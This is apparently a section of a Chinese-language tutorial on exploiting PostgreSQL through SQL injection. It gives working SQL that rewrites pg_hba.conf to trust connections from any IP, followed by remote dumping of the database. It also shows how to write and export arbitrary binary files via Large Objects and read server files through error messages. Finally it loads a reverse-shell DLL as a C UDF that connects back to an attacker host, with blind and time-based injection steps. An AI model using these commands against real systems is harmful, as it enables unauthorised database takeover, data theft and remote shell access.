Adminpack是postgres在8.2新加入的一个拓展，这个拓展可以包含一系列函数，可以在允许的范围

内进行文件操作。

这些函数大多数并没有添加，需要手动进行添加。已经添加的函数列表如下，adminpack会将其指定

为另一个别名（原始名称仍可用）：

pg_read_file(text, bigint, bigint)

pg_stat_file(text)

pg_rotate_logfile()

其余函数的添加语句见postgres安装目录下

/share/extension/adminpack-1.0.sql（windows）

或postgres源码目录下

/contrib/adminpack/adminpack--1.0.sql（linux，仅源码安装方式，非apt-get）

注意：在linux下需手动编译adminpack.c，命令为

gcc $PGSRC/contrib/adminpack/adminpack.c -shared -fPIC -I/usr/local/pgsql/include/server

-o adminpack.so

其中$PGSRC为postgres源码路径。

由于pg_ls_dir(text)、pg_read_binary_file(text, bigint, bigint)两个函数与adminpack函数极

为相似，所以在此也归为adminpack函数中。

网上能够找到的pg注入读写文件第二种方法就是使用adminpack，至于利用方式只有一句话“postgre

在8.2之后增加了pg_file_read函数，看名字就知道是干什么的了吧，哈哈！”。

这无疑是未经测试的想当然的说法，adminpack可以进行在允许的范围内文件操作，但范围只限于数

据目录中。也就是说，在数据目录外的文件不可能通过adminpack函数进行操作。

Adminpack函数的源代码见：

https://www.360docs.net/doc/e64414052.html,/adminpack_8c_source.html（sql文件中前五个函数）

https://www.360docs.net/doc/e64414052.html,/genfile_8c_source.html（其余的adminpack函数）

可以看到，这些进行文件操作的函数都经过convert_and_check_filename函数进行检测。如果使用绝

对路径查询，会返回“不允许使用绝对路径”的错误；如果路径中使用了..跳转到上级目录，则返回“路

径必须在当前目录或子目录下”的错误。

这样，adminpack只能读取数据目录的文件或向其中写入文件，限制目录的文件读取作用有限，同时

由于pg_file_write的函数签名为pg_file_write(text,text,boolean)，其中第一个参数为路径，第二个

参数为要写入的内容，第三个参数为是否追加，导致写入二进制文件是不可能的（postgres不允许0字符）。

当然，adminpack也不是完全没有用处，由于postgres对于登陆的授权文件pg_hba.conf也处于data

目录，刚好可以由adminpack函数编辑。所以当可以使用adminpack函数时，可以尝试以下操作：执行查询语句：

Select inet_server_addr();

将返回数据库的IP地址（相对于本次连接），如果为127.0.0.1，则说明与web服务器为相同ip。

之后执行查询语句：

select pg_file_write('pg_hba.conf',chr(10)||'host all all 0.0.0.0/0 trust'||chr(10),true);

这将在pg_hba.conf末尾添加一条授权，表示允许来自任何ip的任何用户使用任何用户(包括postgres)连接任何数据库，同时信任本次连接，不要求任何授权验证（除非有其余语句显式限制了某个IP段）。

注意：语句中的空格不可省略。

另：如果以上操作失败，请检查数据库服务器是否为外网。或使用以下语句：

select pg_read_file('pg_hba.conf')::int;

读取pg_hba.conf并分析，必要时将pg_file_write函数的第三个参数设为false，从而达到覆盖配置文件的效果。

然后等待数据库服务器重启（windows下面配置文件一经修改会自动重新加载，可以直接进行连接），最后即可使用psql工具远程连接数据库执行查询，或是用pgadmin/pg_dump脱裤。

例如以下语句会连接远程数据库192.168.223.173，并将test数据库备份到本地back.backup文件中：pg_dump.exe -w --host 192.168.223.173 --username "postgres" --compress 9 --no-password --blobs --section pre-data --section data --section post-data --encoding UTF8 --inserts --column-inserts --verbose --file back.backup "test"

有关pg_hba.conf更多的信息，参考：

https://www.360docs.net/doc/e64414052.html,/docs/current/static/auth-pg-hba-conf.html

更多关于psql与pg_dump命令行格式的内容，请执行psql --help或pg_dump --help。

0x53 使用Large Object实现文件操作

Large Object可以近似的看作储存于数据库中的逻辑文件，在使用时可以完全的将其作为文件进行操作。

操作Large Object要求super权限，如果是非super权限，则会显示以下错误信息：

错误: 必须是管理者才能使用服务器 lo_import()

HINT: 任何人都能使用 libpq 提供的客户端 lo_import()。

创建大对象有两种方法：导入或新建。

使用lo_creat函数即可创建一个空的大对象，并由系统自动分配oid，例如执行语句：

select lo_creat(-1);

会返回一个oid，例如73954。

也可以使用lo_create函数创建空的大对象，并将大对象与指定的oid相关联。例如执行语句：

select lo_create(-1);

会返回4294967295，表示成功创建oid为4294967295的大对象

或者可以使用lo_import将某个已存在的文件导入为大对象，并由系统自动分配oid，例如执行语句：select lo_import('c:/windows/system32/cmd.exe');

会返回一个oid，例如73955，同时大对象中的数据即为完整的cmd.exe。

也可以手动指定大对象的oid，注意这个oid不可与其他大对象的oid相重复，例如执行语句：

Select lo_import('c:/windows/system32/cmd.exe',12345678);

会返回12345678，表示成功创建oid为12345678的大对象并将cmd.exe导入其中。

创建完大对象后便可以使用lo_open打开这个大对象，lo_open的函数签名为lo_open(oid, int)，第一个参数为大对象的oid，第二个参数为读写模式，是一个常量。

这个函数在官方函数文档中没有任何说明，在API文档中的说明为“打开一个大对象返回其操作描述符”，但实际上在查询语句中使用时不论如何都会返回0。

而读写模式也没有任何说明，对照API文档并结合源码最终发现这个模式在文件：

src/include/libpq/libpq-fs.h

中提供了定义：

这个模式可以进行位操作，指定其为INV_READ|INV_WRITE（0x00060000）即代表可以同时进行读写操作。

综上，可以使用以下语句打开一个大对象，并指定操作为写入：

select lo_open(73954,x'20000'::int);

注：打开一个大对象之后，大对象的数据指针会指向其最开始的那个字节。

写入大对象需要使用函数lowrite(注意这里没有下划线)，lowrite的函数签名为lowrite(int,bytea)，第一个参数为由lo_open函数打开所返回的句柄，第二个参数为要写入的内容（从这里就能看出，可以向大对象中写入任何内容）。同样的，这个函数在官方函数文档也没有任何说明。

例如以下语句会将0xfeffbf写入oid为73954的大对象中：

select lo_open(73954,x'20000'::int);

select lowrite(0,decode('feffbf','hex'));

注意：这里使用decode函数将hex值转换为字节数组，直接使用unknown类型是不正确的。

有时候可能需要分多次将数据导入同一个大对象中，这就要求每一次进行写操作前大对象的数据指针都指向末尾，使用lo_lseek函数即可完成这一点。

lo_lseek的函数签名为lo_lseek(int,int,int)，第一个参数为由lo_open函数打开所返回的句柄，第二个参数为相对位置，第三个参数为相对位置的起始点，是一个常量。

和lo_open类似，这个在官方函数文档没有任何说明，通过对比API文档并查看源码最终在文件：src/include/zconf.h

中发现以下定义：

综上，可以使用以下语句打开oid为73954的大对象，并将其数据指针指向末尾：

select lo_open(73954,x'60000'::int);

select lo_lseek(0,0,2);

之后便可以使用lowrite函数直接向这个大对象中写入内容。

当完成对一个大对象的导入/写入操作后，接下来需要做的就是获取其内容（针对导入，即读取文件）

/将这个大对象导出（针对写入，即写文件）。

将大对象导出可以使用lo_export函数，这个函数的签名为lo_export(oid,text)，第一个参数为要导出的大对象的oid，第二个参数为导出的路径，如果导出路径为相对路径，则会导入至当前的数据目录中。

例如，执行以下语句会将oid为73954的大对象导出至c:/windows/temp/123.txt

select lo_export(73954,'c:/windows/temp/1.txt');

Postgres会将所有的大对象数据保存于pg_catalog目录下的pg_largeobject目录对象中，这个目录对象有三个字段，loid、pageno、data。

loid代表大对象的oid，与lo_create等函数的返回值相同。

pageno为分页序号，大对象的数据会被分为多个页进行储存，这个字段就是每个页之间的序号。

Data为储存在这一页中的部分大对象数据，为bytea类型。

于是在知道oid的时候，可以使用以下语句获取一个大对象中所有的数据：

select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=73957 order by pageno)a--

从返回的错误信息中去掉花括号、逗号，仅保留HEX字符，之后将所有的HEX字符粘贴到winhex中即可完整的还原这个大对象。

当需要关闭一个大对象时，可以使用lo_close函数，这个函数的签名为lo_close(int)，参数为由lo_open函数打开所返回的句柄。

例如，使用以下语句即可关闭已经打开的大对象：

select lo_open(73954,x'60000'::int);

select lo_close(0);

最后，如果需要删除一个大对象，需要使用lo_unlink函数，例如执行以下语句会将oid为73954的大对象永久删除。

Select lo_unlink(73954);

关于Large Object的官方API文档与函数文档，参考：

https://www.360docs.net/doc/e64414052.html,/docs/9.1/static/lo-interfaces.html

https://www.360docs.net/doc/e64414052.html,/docs/9.1/static/lo-funcs.html

另：一个小技巧。在linux系统下如果lo_import等函数的第一个参数指向的路径是一个目录，则会返回以下错误：

ERROR: could not read server file "/": 是一个目录

而在windows下会返回：

错误: 无法打开服务器文件 "c:/windows/temp": Permission denied

这个错误提示在注入中可以用来猜测目录，在有时会有意想不到的收获。

0x60 利用UDF函数获取反弹Shell

Postgres支持许多种语言自定义函数，默认情况下开启plpgsql和c，其中plpgsql为标准的sql语

句，而c则与mysql UDF类似，会加载一个动态链接库到进程空间。这样如果将UDF中的函数实现替换为特定的代码，就能在数据库权限下进行更多的操作（例如执行某些命令，或是干脆直接反弹回一个shell 等等）。

如果是其他类型数据库的注入点直接加载UDF似乎是不可能的，不过postgres强大的Large Object 将这一切变为了可能。

在进行这一特性的利用之前，首先需要了解如何编写postgres的UDF函数。这需要使用postgres附带的头文件，具体参见0x82 UDF的一些注意事项，这里不做赘述。

假设现在已经拥有保存于c:/windows/temp/test.dll、导出函数名为GetResvShell的一个UDF文件。同时这个函数会接受两个参数，第一个参数为text类型，表示要反弹到的远程主机，第二个参数为int型，表示远程主机的端口，并且会返回一个int型的数值表示执行的结果，那么使用以下sql语句即可将此文件与其导出函数GetResvShell注册为函数test：

Create or replace function test(text,int)returns int as 'c:/windows/temp/test.dll', 'GetResvShell' language c;

最后，在远程主机监听8888端口，同时执行

select test('192.168.1.10',8888);

即可获取一个与postgres相同权限的shell。

当然，这里只是本地进行测试的过程，而真正在注入点要比这繁琐一些：

首先需要查看是否为super权限：

select usesuper::text::int from pg_user where usename=current_user;

如果确认为super权限，同时可以通过联合查询返回结果则执行以下语句：

Select 1,2,lo_creat(-1);

否则创建临时表保存返回的oid：

Create table tempAD4EA(id oid);insert into tempAD4EA values(lo_creat(-1));

进行强制类型转换或盲注获取结果：

Select (''||(id::text))::int from tempAD4EA-- ---强制类型转换报错

（省略服务端脚本中部分） and (select id from tempAD4EA)>0-- ---盲注

select pg_sleep(5) where (select id from tempAD4EA)>0-- ---基于延时的盲注

记下返回的OID，以供后续使用。

删除临时表：

Drop table tempAD4EA;

查看数据库版本，选择正确的UDF：

Select version()::int;

根据OID打开之前的大对象，并向其中写入内容（语句中的OID为先前返回）：

Select lo_open(OID,x'60000'::int);select lo_write(0,decode('HEXCODE','hex'));

其中HEXCODE部分为UDF经过十六进制编码之后所得，可以使用winhex进行此操作。由于一般情况下注入点都在URL处，建议每次从udf函数中截取512字节并转换为hex值。